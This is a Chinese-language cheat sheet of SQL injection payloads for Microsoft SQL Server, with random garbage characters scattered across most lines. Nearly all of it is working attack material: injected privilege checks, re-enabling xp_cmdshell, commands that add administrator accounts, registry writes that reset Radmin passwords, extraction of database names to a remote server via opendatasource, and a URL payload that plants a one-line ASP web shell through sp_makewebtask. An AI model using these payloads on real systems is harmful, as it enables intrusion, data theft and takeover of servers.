阿D常用的一些注入命令
) J7 c; g/ Q/ Y; F- o, y9 g//看看是什么权限的
k# F; r {" A5 `6 aand 1=(Select IS_MEMBER('db_owner'))! D6 ~- c) a$ }. _/ `6 ?" p- E& k/ d
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
" S% Y/ x8 X8 _; A4 D1 \" D+ s, i& ^) f+ v, C/ @- h
//检测是否有读取某数据库的权限
3 P7 R% U, P& j# T, {2 m) ] wand 1= (Select HAS_DBACCESS('master'))! r. l: O; q9 C" m# W+ z, j* @
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 -- }; t9 ?. O3 D( K" L. o
( g2 N U) L7 }% q
. b2 O) y& y( ?4 B& y8 J7 j k数字类型
* B* W+ U. N7 h) K2 n! V, e+ p; S, ?and char(124)%2Buser%2Bchar(124)=0
7 q, A2 x1 [/ e3 L: U9 T& ]
+ j+ f. H, T( Z& k2 F! W! [6 { Q字符类型 U: b, M( ?, f
' and char(124)%2Buser%2Bchar(124)=0 and ''='
1 |0 R8 L$ h: [
+ I4 |! B: d4 ]9 S8 B! @+ b搜索类型
) o' W5 X q, E5 R0 }' and char(124)%2Buser%2Bchar(124)=0 and '%'='' M7 L& O: M5 U) a
, M6 z- t0 A/ A( w
爆用户名
- G2 l. ^3 t5 Y# U9 Q; l% zand user>06 h1 t) B' N" {6 q6 b# A
' and user>0 and ''='
$ d5 n- W; t! V. E q/ [! ]" D1 Q" d: Y# P, T" Q% D5 |5 R9 k7 A
检测是否为SA权限
) y; X9 s( q+ @- A( o: K7 Band 1=(select IS_SRVROLEMEMBER('sysadmin'));--& t: h4 S/ p) y) ~4 r- }
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
* n5 Z% @7 H4 u U
0 c) N3 _+ O8 l8 q z; h# R3 l检测是不是MSSQL数据库4 ~( b$ R P8 s9 t; u, G( a
and exists (select * from sysobjects);-- . y& ?. B$ I( K1 ^
5 p" ^" ^7 j5 H& X; D) _/ A7 T
检测是否支持多行
7 G8 j/ m' D9 T1 @. p/ |;declare @d int;-- - f, H: N5 I! E c8 r' V
7 `7 u5 p% u* k$ R: L x5 b* |恢复 xp_cmdshell
% x# t* d; S0 ~" O( o8 H;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
2 H/ i6 P- o3 R4 }% `
& W* ~& Y3 B) T9 L; u" s( U4 j" r3 y0 S' A# a" A' w
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
4 G, X' _2 J4 N! u7 P8 h
, T7 c! L7 T" e1 e//-----------------------3 @- U8 H7 X0 s) W- _) @
// 执行命令/ L1 f: Y1 k4 Q8 h3 F" g% x
//-----------------------
" y6 t/ e: X; `首先开启沙盘模式:% g" w$ j0 \3 x5 l5 e
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1+ C: I. L) C! I( v2 U
6 I' M' A1 E2 I4 P2 R( M$ r- B
然后利用jet.oledb执行系统命令
% G* b( H8 @1 Lselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
/ u# A. x9 q4 x) U+ h& r% _3 n1 V8 k' q+ |& e( z
执行命令
3 |0 l# N# x+ G4 t! |, L;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--2 ]( L1 `8 G* U# R4 p
6 m9 ~8 J1 h, y$ O2 dEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
% V) X) d5 s! U: m% o1 |
% v8 q5 \+ j: c; P7 v. K3 Z判断xp_cmdshell扩展存储过程是否存在:
: \9 u$ p) \7 C% W, uhttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
+ N# f; ^2 d$ X, U
+ m5 A5 ^2 e. P: Q' A1 ?写注册表
% H }* O9 S) cexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1* R& C2 w# ~( {8 S4 y# e
% E6 X/ B: X: u/ DREG_SZ4 Y6 k* W( G$ X6 W c
4 |. Q! b4 j$ u2 Q" X% ?* J4 N. u+ ~
读注册表
4 W7 x* w( n2 P2 a) sexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
( [0 z" W. `! j) g% F" A3 l5 k* G- S" m: c6 W' t
读取目录内容) H" i% }6 f3 n( t% U
exec master..xp_dirtree 'c:\winnt\system32\',1,1) `' |: J" _7 [& E ]
}+ c2 U: t6 }- x9 K; R7 F7 H/ o5 L. C# c/ u6 {
数据库备份" V2 w$ x/ ^( y4 H$ X
backup database pubs to disk = 'c:\123.bak'7 K$ x4 k' z l. K" X# ]: o
1 D, v, o) i6 }, o; J/ P; Z
//爆出长度
# E8 ^; q' G% x2 r# ~- Q$ kAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
& i+ _) \; v- f# _4 K2 r1 o$ w7 e: H: r( j& s+ H
, i0 H, l5 ?: j, ^7 D; Y/ O
P1 f; \3 _8 `. w9 _- M0 x: K" i更改sa口令方法:用sql综合利用工具连接后,执行命令:& S w% v7 s( D9 \
exec sp_password NULL,'新密码','sa'- I; z0 a2 P/ i# ?; {9 v$ [
N( u6 N* h% H) G" `0 B) Z" H添加和删除一个SA权限的用户test:
, W7 y7 j/ R+ o/ A7 oexec master.dbo.sp_addlogin test,ptlove
0 g* g$ C8 F& b" lexec master.dbo.sp_addsrvrolemember test,sysadmin
% |9 p1 M; v- z# U$ O7 ]3 ?
$ i; l& z/ ]( q' i* F# s/ }删除扩展存储过过程xp_cmdshell的语句: ; `2 J6 F, k' ^) w
exec sp_dropextendedproc 'xp_cmdshell'
! k4 Z& \- F( v3 J g2 c2 Y( e( K, A( K1 v+ p
添加扩展存储过过程
' O4 i# n$ B9 M5 v6 U3 h3 Y3 X) t% ^6 lEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
/ y( U' _' G* x3 ]5 H3 O5 SGRANT exec On xp_proxiedadata TO public 4 J+ a" w& w5 _& ~2 F
1 [9 n5 w1 k+ R5 t& D- `- l
# M; p# e2 w; j
停掉或激活某个服务。 , B3 A: T2 _8 J+ i, Q4 T& `
& R. P% h" A" J% \* \7 N
exec master..xp_servicecontrol 'stop','schedule'
; W1 Y; i8 j5 u% j# Z: Xexec master..xp_servicecontrol 'start','schedule'; a9 l$ i2 K# [$ J" U& o0 X1 z
: l$ c( Y+ }( w9 D, v8 Wdbo.xp_subdirs
, A: z: D5 ?3 q& b! N: Q; a5 P( A7 ~: I& e
只列某个目录下的子目录。
, r7 z' I- ~5 |9 |! M1 P) a7 W* h2 Ixp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'6 Z0 A0 e9 y; U: {$ u2 y
0 n0 @1 u5 S/ Gdbo.xp_makecab: }2 M- u- w! K8 p) k) J5 x
6 `' G p, ?) U: F将目标多个档案压缩到某个目标档案之内。
- G! Y5 G ]- Q- S$ R* y所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
, r4 e+ Y8 e9 \& T1 b( K4 \) I; t% l& G1 }3 a& ~2 P' q
dbo.xp_makecab- ]% ~" y2 `1 h p+ c, Q( d
'c:\test.cab','mszip',1,
# E: \5 I" a8 l9 ]+ \/ L0 r'C:\Inetpub\wwwroot\SQLInject\login.asp',
. i4 g/ l9 `3 Q/ i'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
, Q5 Q3 e- S6 t
2 r+ ^2 d @ V ~" h* }7 {2 ixp_terminate_process
* F# p v L# R) U
$ ^+ G! }4 o4 A! J; U- H停掉某个执行中的程序,但赋予的参数是 Process ID。, A: Q0 ]4 V9 C( ] z7 q$ W9 z
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID! F- L( S" N* y' J) f" x& E7 }
* n/ ]3 T4 I! d1 H) g
xp_terminate_process 2484
' p; C! ~% N7 @6 y# w3 n
6 x" ^* n( T2 N' Y& @6 ]xp_unpackcab! [. |5 @+ y: Z. L# W2 w
( O- i( V5 K$ G- w7 D解开压缩档。8 W% R# d f- G; m4 i$ z" x
8 ~& r3 {; J r6 s' m+ O* cxp_unpackcab 'c:\test.cab','c:\temp',10 w8 ] _& n+ e) v- p r' m4 t7 [
l$ M; M; L# C2 t& c2 i- t
3 l( C" d6 b" Z* h某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
. E$ c! b6 n% b
, j a2 U4 V* o4 T3 E( n4 ~create database lcx;
& ?! x+ _. T* F5 J& `) N! V, dCreate TABLE ku(name nvarchar(256) null);& i" u$ p4 d- T% x
Create TABLE biao(id int NULL,name nvarchar(256) null);& s# H* U- D$ H P$ O
1 z' m% t o3 S//得到数据库名, P' C g5 e0 s% n0 W. M. u: D
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases$ F0 s2 ^1 N/ w4 ]! J% I% G
b8 `/ c% \0 A1 I. V7 a
% T9 U" N$ o& f( W1 L% d: J5 k4 A//在Master中创建表,看看权限怎样
% b l' ?1 q* s+ E) _Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--# f( m4 `4 b$ G. @1 h
2 Y0 [- t% e2 Z" Y3 w' l f: K
用 sp_makewebtask直接在web目录里写入一句话马:. S" P" j2 P3 z9 G
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
* a' p P* h! ~6 X* O9 |1 p
) s7 U2 e9 j. `! Q//更新表内容
+ r# r+ K+ U" I( o1 CUpdate films SET kind = 'Dramatic' Where id = 123
- u5 @6 X j: l3 M' J6 D+ q4 z8 N/ J" Y' R( a! F" \% Z
//删除内容& H0 | E$ p+ X# |1 a+ A4 W
delete from table_name where Stockid = 3 |